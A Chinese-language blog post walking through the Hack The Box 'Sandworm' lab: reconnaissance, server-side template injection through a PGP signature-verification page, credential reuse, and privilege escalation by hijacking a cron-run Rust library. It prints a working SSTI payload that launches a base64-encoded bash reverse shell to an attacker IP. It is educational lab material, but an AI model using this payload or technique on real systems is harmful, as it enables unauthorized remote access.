freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

HTB靶场Sandworm通关笔记,超推荐
我爱吃菜菜 2023-12-18 20:16:01 27184

结合步骤1.信息收集加确定目标。2.发现漏洞。3.漏洞利用getshell。4.提权 5.总结

1.信息收集

对于给定的目标ip:10.10.11.218进行端口扫描    namp -sC -sV 10.10.11.218

1702888157_658002dd8e03f8e231956.png!small?1702888156796

目标ip开放22,以及80以及443,看到其中存在dns解析  https://ssa.htb/添加到/etc/hosts里面

1702888224_65800320883fb2491e96e.png!small?1702888223825

访问80端口页面,对80端口进行目录爆破,用到的工具  dirsearch -u https://ssa.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

1702888342_6580039601cd0a7cb86de.png!small?1702888341110

对扫出来的目录进行访问  pgp页面为给出的一个公钥  guide页面为对pgp算法的解密

1702888385_658003c14a1d31d05e84b.png!small?1702888384517

1702888421_658003e54ecb2b991a6c0.png!small?1702888420399

这里介绍一下pgp加密:一个加密程序,为数据通信提供了加密和验证功能,主要包括公钥,私钥,签名,可以简单理解为,公钥和私钥可以看做都是可以加密、解密的。公钥和秘钥对应,签名保证内容不被篡改。

在上面访问到guide页面的时候发现可以对公钥和签名进行解密,那现在的思路就是自己去生成一个签名和公钥,然后放在guide页面进行解密,看看会有什么变化

利用这两个网站生成公钥和私钥并使用私钥进行签名:https://youritmate.us/pgp/、http://www.2pih.com/pgp.html,在https://youritmate.us/pgp/生成公钥和私钥(需要填写下名字和账户),然后利用私钥在http://www.2pih.com/pgp.html网站对信息进行签名。

1702889250_65800722711339dee6058.png!small?1702889249697

进行生成签名

1702889291_6580074b1f136335fe562.png!small?1702889290213


2.发现漏洞

然后在guide页面进行输入公钥和签名进行解密

1702889340_6580077c6eddf49bf5234.png!small?1702889339755

1702889357_6580078dda6c069b132b7.png!small?1702889357085

3.getshell

发现成功解密,这个时候的思路想到能不能通过改变用户名输入其他命令,能否达到命令执行的效果,这个时候想到SSTI注入漏洞:服务器端模板注入,简单说来就是各种语言用到一些框架模板,服务端接受到用户恶意输入后,未经过任何处理就其作为web应用模板内容的一部分,然后在前端直接进行展示。

我们这里可以把刚才生成公钥时候的用户名改为{{3*3}},然后重新生成进行解密看看

1702889691_658008dbdff7dcb4ec27b.png!small?1702889690984

1702889747_65800913dfbd5ebc20ff2.png!small?1702889747271

发现用户名成功变为9,这时候可以构造一个反弹shell,尝试过多次,最后的shell要进行base64编码后执行

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40MC80NDQ0IDA+JjE=" | base64 -d | bash').read() }}

1702890106_65800a7a1b26fd77b32fd.png!small?1702890105194

发现成功反弹到shell  信息收集一下,看有没有利用的点 查看到/home目录下还存在其他用户

1702890230_65800af633a13bfc6c39c.png!small?1702890229228

当前用户的权限太小,看到存在其他用户,又看到开放了22端口,想到肯定存在什么配置文件可以通过ssh'登入到另外一个账号,在查找cd /home/atlas/.config/httpie/sessions/localhost_5000目录下面存在账号和密码

1702890875_65800d7b3fd5c1657ff92.png!small?1702890874270

通过ssh直接登入到该用户

1702891098_65800e5a58f010f04e39e.png!small?1702891097416直接到该用户的目录下面查看第一个flag

1702891212_65800ecc24ebb724cb9ef.png!small?1702891211160

4.提权

开始提权,尝试一下sudo -l看看可用命令,发现不能运行,上传pspy64文件看看当前跑了那些进程,发现两个可疑命令

1702891756_658010eca4e508305e007.png!small?1702891756033

发现这个命令在opt目录下的tipnet有关,进入到此目录下面去

1702891879_6580116718622d4c1ba53.png!small?1702891878158

查看源码

1702891920_6580119021440434eab47.png!small?1702891919283

1702892062_6580121e09cdbf7b03d2a.png!small?1702892061539

这两个源码使用的是rust语言 用gpt问问是什么意思,给出的解释为:当运行tipnet时,选择e,也就是pull模式,会执行函数pull_indeces,然后这个函数会调用logger中的log函数.
当前用户刚好有对logger目录写入的权限 所以修改logger的源码 再次拿到用tipnet执行的atlas的用户权限,找一下rust语言怎么写shell

https://github.com/LukeDSchenk/rust-backdoors/blob/master/reverse-shell/src/main.rs将shell反弹语句添加到lib.rs中(删除原有的lib.rs,然后新建lib.rs并写入shell反弹代码),等待定时任务执行进行shell反弹,成功获得atlas权限,并且其具有jailer权限

拿到shell后,直接使用exp成功提到root

https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25#file-exploit-py-L221

总结:

通过本靶场学习到pgp加密,学习到ssti注入,通过自己进行生成的公钥以及签名进行解密然后找出自己可以控制的部分进行getshell,提权先提到其他用户,然后使用脚本进行查看是不是存在定时任务,然后进行反弹shell,最后使用exp成功提到root。

# 渗透测试
本文为 我爱吃菜菜 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
我爱吃菜菜 LV.4
菜得扣脚!!!
  • 11 文章数
  • 15 关注者
HTB靶场Jupiter通关笔记,超推荐
2023-12-20
HTB靶场Optimum通关笔记,超推荐(window机器)
2023-12-17
DRIPPING BLUES-1 靶场通关笔记详解,超推荐
2023-12-12